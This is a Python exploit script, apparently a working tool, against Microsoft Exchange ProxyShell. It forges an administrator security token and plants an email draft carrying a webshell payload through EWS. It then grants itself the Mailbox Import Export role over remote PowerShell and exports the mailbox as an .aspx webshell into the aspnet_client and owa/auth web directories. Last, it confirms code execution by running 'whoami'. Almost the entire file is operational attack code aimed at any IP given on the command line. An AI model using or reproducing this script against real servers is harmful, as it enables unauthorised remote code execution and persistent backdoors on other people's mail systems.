#!/usr/bin/env python3
# ProxyShell exploit v2 with diagnostics
import sys, time, random, re, base64, binascii, json
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

def createitem(sidv, subj, payload, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, payload, mail)

def run(port, script):
    out, err = P.wsman_shell(script, port)
    return [str(o) for o in out], [str(e) for e in err]

def exploit(ip):
    res = {"ip": ip, "status": "fail"}
    ps = P.ProxyShell(f"https://{ip}", timeout=20)
    print("fqdn:", ps.get_fqdn())
    if not ps.get_legacydn():
        res["detail"] = "no mailbox"; print("no legacydn"); return res
    sid = ps.get_sid(); print("email:", ps.email, "sid:", sid)
    ps.sid = ps.admin_sid
    if not ps.get_token():
        res["detail"] = "no token"; print("no token"); return res
    print("token OK")
    port = random.randint(20000, 40000)
    P.start_server(ps, port); time.sleep(1)
    subj = P.subj_; payload = P.webshell_payload()
    draft_ok = False
    for label, sd in [("user-sid", sid), ("admin-sid", ps.admin_sid)]:
        try:
            r = ps.post('/ews/exchange.asmx', createitem(sd, subj, payload, ps.email), {"Content-Type": "text/xml;charset=UTF-8"})
        except Exception as e:
            print("draft err", e); continue
        if 'ResponseClass="Success"' in r.text:
            print(f"draft OK ({label})"); draft_ok = True; break
        print(f"draft fail ({label}):", 'ErrorTokenSerializationDenied' if 'ErrorTokenSerializationDenied' in r.text else r.text[:120])
    if not draft_ok:
        res["detail"] = "EWS blocked"; return res
    try: run(port, 'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email)
    except Exception: pass
    time.sleep(2)
    for st in ('Completed','Failed','InProgress'):
        try: run(port, 'Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
        except Exception: pass
    name = "sh" + P.rand_string(7) + ".aspx"
    paths = [
        ("\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\", "aspnet_client/"),
        ("\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\", "owa/auth/"),
    ]
    for disk, rel in paths:
        unc = disk + name
        cmd = 'New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"' % (ps.email, subj, unc)
        print("export:", cmd)
        try: print("  ->", run(port, cmd))
        except Exception as e: print("  export err", e)
        url = f"https://{ip}/{rel}{name}"
        ok = False
        for i in range(10):
            time.sleep(5)
            try:
                r = requests.get(url, verify=False, timeout=20)
                print(f"  poll {i} {url} code={r.status_code} len={len(r.content)}")
                if r.status_code == 200 and r.content and b'<script' in r.content:
                    print("  FILE HAS SCRIPT; head:", repr(r.content[:200])); ok = True
                    code, txt = P.test_webshell(url, "whoami")
                    print("  trigger:", code, repr(txt[:150]))
                    if txt and txt.strip() and '<' not in txt[:20]:
                        res.update(status="success", shell_url=url, whoami=txt.strip()[:120], email=ps.email); return res
                    break
                if r.status_code in (200,500) and r.content:
                    print("  -> head:", repr(r.content[:120])); break
            except Exception as e:
                print("  poll err", e)
        try: print("  req status:", run(port, "Get-MailboxExportRequest | Select-Object -ExpandProperty Status"))
        except Exception: pass
        try: run(port, 'Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
        except Exception: pass
    res["detail"] = "no confirmed shell"; return res

if __name__ == '__main__':
    r = exploit(sys.argv[1])
    print("RESULT_JSON " + json.dumps(r))
